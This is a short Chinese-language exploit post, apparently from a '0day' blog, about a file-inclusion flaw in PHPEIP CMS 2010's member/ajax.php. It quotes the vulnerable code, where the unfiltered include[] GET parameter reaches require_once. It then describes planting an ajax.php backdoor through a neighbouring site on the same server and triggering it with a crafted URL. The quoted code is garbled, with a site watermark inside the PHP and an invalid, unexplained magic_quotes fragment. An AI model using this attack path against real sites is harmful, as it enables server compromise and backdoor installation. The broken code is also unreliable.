测试版本：PHPEIP内容管理系统CMS 2010

官网： www.phpeip.com

作者：随..风.  Blog:http://hi.baidu.com/0daynet/

漏洞页面：member/ajax.php

<?php
error_reporting(0);
if(!defined('PHPEIP_AJAX_HEADER')){
 chdir('../'); www.2cto.com
 require('includes/application_top.php');
 define('PHPEIP_AJAX_HEADER','member/ajax.php');
 require_once(DIR_FS_ROOT."xajax/xajax.inc.php");
 $xajax = new xajax(eip_href_link($current_page));
 if(isset($_GET['include'])&&is_array($_GET['include'])){   //include函数未过滤 By:随..风.
  foreach ($_GET['include'] as $includes) {
   if(file_exists(DIR_FS_ROOT.$includes.'/ajax.php')){
    require_once(DIR_FS_ROOT.$includes.'/ajax.php');  //直接包含$include By:随..风.
   }
  }

......

?>

if(magic_quotes_gpc=off){

}

或者旁注那个站上传个文件名为ajax.php的后门在根目录 然后直接 Http://www.2cto.com /member/ajax.php?include=旁注网站目录